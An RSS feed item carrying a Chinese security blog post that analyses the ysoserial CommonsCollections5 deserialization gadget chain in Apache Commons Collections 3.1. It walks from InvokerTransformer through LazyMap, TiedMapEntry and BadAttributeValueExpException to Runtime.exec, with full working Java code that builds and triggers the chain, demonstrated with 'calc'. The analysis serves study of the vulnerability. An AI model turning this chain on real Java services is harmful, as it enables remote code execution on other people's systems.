<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>反射 &#8211; ChaBug安全</title>
	<atom:link href="/tags/%E5%8F%8D%E5%B0%84/feed" rel="self" type="application/rss+xml" />
	<link>/</link>
	<description>一个分享知识、结识伙伴、资源共享的博客</description>
	<lastBuildDate>Sun, 19 Jan 2020 11:35:51 +0000</lastBuildDate>
	<language>zh-CN</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	<generator>https://wordpress.org/?v=5.5.5</generator>
	<item>
		<title>ysoserial CommonsCollections 5 反序列化分析</title>
		<link>/audit/1127.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Sun, 19 Jan 2020 11:35:51 +0000</pubDate>
				<category><![CDATA[代码审计]]></category>
		<category><![CDATA[java]]></category>
		<category><![CDATA[rce]]></category>
		<category><![CDATA[反射]]></category>
		<category><![CDATA[反序列化]]></category>
		<guid isPermaLink="false">/?p=1127</guid>

					<description><![CDATA[迷迷糊糊看了一个多月Java，把学校学的javaweb捡了起来，自己又看了看spring，想了想与其审计TOP10的漏洞，还是反序列化最考验审计能力和逻辑思维，干脆一不做二不休把y...]]></description>
										<content:encoded><![CDATA[<p>迷迷糊糊看了一个多月Java，把学校学的<span class="wpcom_tag_link"><a href="/tags/java" title="java" target="_blank">java</a></span>web捡了起来，自己又看了看spring，想了想与其审计TOP10的漏洞，还是<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%ba%8f%e5%88%97%e5%8c%96" title="反序列化" target="_blank">反序列化</a></span>最考验审计能力和逻辑思维，干脆一不做二不休把<code>ysoserial</code>的反序列化链拿来研究研究，不想写文章，但是又觉得看得懂的东西还是写一写才能记得住。文笔不好，自己明白的东西写出来不一定明了，有问题的直接留言吧。</p>
<h1>前言</h1>
<p>Apache Commons Collections 的漏洞最早是2015年 <a href="https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/">FoxGlove Security</a> 安全团队在其博客中发表了一篇长文，全面阐述了此漏洞对各种中间件的影响。</p>
<p>在我的上篇关于 <a href="https://y4er.com/post/java-deserialization-1/">Java反序列化</a> 的文章中，简单提到了反序列化的入口(readObject)和<span class="wpcom_tag_link"><a href="/tags/%e5%8f%8d%e5%b0%84" title="反射" target="_blank">反射</a></span>，本文我们根据上文的基础来学习 <a href="https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java">ysoserial CommonsCollections5</a> 的反序列化流程。</p>
<h1>搭建环境</h1>
<p>使用idea创建一个maven项目，在pom.xml文件中加入commons-collections依赖。</p>
<pre data-language=XML><code class="language-markup ">&lt;?xml version="1.0" encoding="UTF-8"?&gt;
&lt;project xmlns="http://maven.apache.org/POM/4.0.0"
         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"&gt;
    &lt;modelVersion&gt;4.0.0&lt;/modelVersion&gt;

    &lt;groupId&gt;org.example&lt;/groupId&gt;
    &lt;artifactId&gt;ysoserialPayload&lt;/artifactId&gt;
    &lt;version&gt;1.0-SNAPSHOT&lt;/version&gt;
    &lt;dependencies&gt;
        &lt;dependency&gt;
            &lt;groupId&gt;commons-collections&lt;/groupId&gt;
            &lt;artifactId&gt;commons-collections&lt;/artifactId&gt;
            &lt;version&gt;3.1&lt;/version&gt;
        &lt;/dependency&gt;
    &lt;/dependencies&gt;

&lt;/project&gt;
</code></pre>
<p>创建一个Java文件，包含反序列化的方法，其中<code>deserialize()</code>是从test.ser中读取对象并进行反序列化。</p>
<pre><code class="language-java ">package payload;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;

public class CommonsCollections5 {
    public static void main(String[] args) {
        deserialize();
    }

    public static void serialize(Object obj) {
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
            os.writeObject(obj);
            os.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void deserialize() {
        try {
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
            is.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

}
</code></pre>
<h1>漏洞复现</h1>
<p>使用ysoserial生成payload</p>
<pre><code class="">java -jar ysoserial-master-30099844c6-1.jar CommonsCollections5 calc &gt; test.ser
</code></pre>
<p><img src="https://y4er.com/img/uploads/20200119192547.png" alt="20200119192547" /><br />
成功弹出计算器。</p>
<h1>漏洞分析</h1>
<p>在 <a href="https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java">ysoserial的payload</a> 中，我们可以看到问题出在 org.apache.commons.collections.functors.InvokerTransformer，在这个类中实现了Serializable接口，并且有一个transform方法。</p>
<pre><code class="language-java ">public Object transform(Object input) {
    if (input == null) {
        return null;
    } else {
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
            return method.invoke(input, this.iArgs);
        } catch (NoSuchMethodException var5) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException var6) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException var7) {
            throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
        }
    }
}
</code></pre>
<p>这明显是反射的用法，使用transform方法我们可以调用Runtime类执行命令</p>
<p><img src="/wp-content/uploads/2020/01/20200119192613.png" alt="20200119192613" /></p>
<p>但是我们知道，在反序列化时都是执行 <code>readObject()</code> 函数就行了，但是直接序列化 <code>InvokerTransformer</code> 类我们还需要再次执行 <code>invokerTransformer.transform()</code> ，这是不现实的，并且Runtime.getRuntime() 我们也需要用反射构造。所以我们现在的目的就在于寻找看哪里调用了 <code>transform()</code> 方法。</p>
<p>最终找到了org.apache.commons.collections.functors.ChainedTransformer</p>
<pre><code class="language-java ">public ChainedTransformer(Transformer[] transformers) {
    this.iTransformers = transformers;
}

public Object transform(Object object) {
    for(int i = 0; i &lt; this.iTransformers.length; ++i) {
        object = this.iTransformers[i].transform(object);
    }

    return object;
}
</code></pre>
<p>在这个transform中 <code>iTransformers[i]</code> 就是InvokerTransformer对象，构造代码。</p>
<pre><code class="language-java ">package payload;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

class CommonsCollections5Test {
    public static void main(String[] args) throws Exception {
//        ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
        Transformer[] transformers = new Transformer[]{
                // 传入Runtime类
                new ConstantTransformer(Runtime.class),
                // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
                // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
                // 调用exec("calc")
                new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        Transformer chain = new ChainedTransformer(transformers);
        chain.transform(null);
    }
}
</code></pre>
<p><img src="/wp-content/uploads/2020/01/20200119192641.png" alt="20200119192641" /></p>
<p>不得不说，漏洞发现者的思维真的是秒，这个链首先 <code>new ConstantTransformer(Runtime.class)</code> 通过其构造方法拿到了Runtime类，然后通过InvokerTransformer的反射功能拿到getRuntime()，然后又用一个InvokerTransformer拿到了invoke()，最后再用InvokerTransformer拿到exec，达成执行命令的效果。整个链写成一句代码是这样的：</p>
<pre><code class="language-java ">((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
</code></pre>
<p>但是此时我们仍然需要调用transform()方法，才能触发<span class="wpcom_tag_link"><a href="/tags/rce" title="rce" target="_blank">rce</a></span>。在实际情况中，我们希望执行readObject()之后就可以进行rce，那么我们找一下哪里重写了readObject()函数，并且<strong>直接或者间接的</strong>调用了transform()方法。</p>
<p>在org.apache.commons.collections.map.LazyMap#get中调用了transform()</p>
<pre><code class="language-java ">public Object get(Object key) {
    if (!super.map.containsKey(key)) {
        Object value = this.factory.transform(key);
        super.map.put(key, value);
        return value;
    } else {
        return super.map.get(key);
    }
}
</code></pre>
<p>org.apache.commons.collections.keyvalue.TiedMapEntry中</p>
<pre><code class="language-java ">public Object getValue() {
    return this.map.get(this.key);
}
......
public String toString() {
    return this.getKey() + "=" + this.getValue();
}
</code></pre>
<p>getValue()调用了map的get()方法，而toString()中又调用了getValue()，而在BadAttributeValueExpException类中重写了readObject方法</p>
<pre><code class="language-java ">public BadAttributeValueExpException (Object val) {
    this.val = val == null ? null : val.toString();
}
public String toString()  {
    return "BadAttributeValueException: " + val;
}

private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
    ObjectInputStream.GetField gf = ois.readFields();
    Object valObj = gf.get("val", null);

    if (valObj == null) {
        val = null;
    } else if (valObj instanceof String) {
        val= valObj;
    } else if (System.getSecurityManager() == null
               || valObj instanceof Long
               || valObj instanceof Integer
               || valObj instanceof Float
               || valObj instanceof Double
               || valObj instanceof Byte
               || valObj instanceof Short
               || valObj instanceof Boolean) {
        val = valObj.toString();
    } else { // the serialized object is from a version without JDK-8019292 fix
        val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
    }
}
</code></pre>
<p>成了！反序列化时自动调用toString()，那么我们可以这样做：<br />
1. 以TiedMapEntry对象为参数声明一个BadAttributeValueExpException对象，反序列化自动调用TiedMapEntry.toString()<br />
2. 上一步的toString触发TiedMapEntry.getValue()，进而触发LazyMap.get()<br />
3. LazyMap.get()触发ChainedTransformer.transform()实现rce!</p>
<p>构造代码</p>
<pre><code class="language-java ">package payload;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

class CommonsCollections5Test {
    public static void main(String[] args) throws Exception {
        //        ((Runtime) Runtime.class.getMethod("getRuntime").invoke(null)).exec("calc");
        Transformer[] transformers = new Transformer[]{
            // 传入Runtime类
            new ConstantTransformer(Runtime.class),
            // 使用Runtime.class.getMethod()反射调用Runtime.getRuntime()
            new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
            // invoke()调用Runtime.class.getMethod("getRuntime").invoke(null)
            new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
            // 调用exec("calc")
            new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc"})
        };
        Transformer chain = new ChainedTransformer(transformers);
        Map map = new HashMap();
        Map lazyMap = LazyMap.decorate(map, chain);
        TiedMapEntry entry = new TiedMapEntry(lazyMap, "");
        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);
        Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
        field.setAccessible(true);
        field.set(badAttributeValueExpException, entry);

        serialize(badAttributeValueExpException);
        deserialize();
    }

    public static void serialize(Object obj) {
        try {
            ObjectOutputStream os = new ObjectOutputStream(new FileOutputStream("test.ser"));
            os.writeObject(obj);
            os.close();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }

    public static void deserialize() {
        try {
            ObjectInputStream is = new ObjectInputStream(new FileInputStream("test.ser"));
            is.readObject();
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}
</code></pre>
<p>需要注意的是，在声明BadAttributeValueExpException对象时，并没有直接传入entry参数，而是用反射赋值。</p>
<pre><code class="language-java ">BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(entry);
Field field = badAttributeValueExpException.getClass().getDeclaredField("val");
field.setAccessible(true);
field.set(badAttributeValueExpException, entry);
</code></pre>
<p>因为BadAttributeValueExpException的构造函数就会判断是否为空，如果不为空在序列化时就会执行toString()，那么反序列化时，因为传入的entry已经是字符串，所以就不会触发toString方法了。</p>
<pre><code class="language-java ">    public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }
</code></pre>
<p><img src="/wp-content/uploads/2020/01/20200119192839.png" alt="20200119192839" /></p>
<h1>总结</h1>
<p>这里抄一下ysoserial的 <code>Gadget chain</code></p>
<pre><code class="language-java ">/*
    Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()
    Requires:
        commons-collections
 */
</code></pre>
<p>个人觉得这个洞最经典的地方还是在<code>InvokerTransformer</code>的rce构造，着实考验对反射的理解和运用。</p>
<p>参考链接：<br />
&#8211; https://www.xmanblog.net/java-deserialize-apache-commons-collections/<br />
&#8211; https://www.freebuf.com/vuls/175252.html<br />
&#8211; https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java</p>
<p><strong>文笔垃圾，措辞轻浮，内容浅显，操作生疏。不足之处欢迎大师傅们指点和纠正，感激不尽。</strong></p>
]]></content:encoded>
					
		
		
			</item>
	</channel>
</rss>
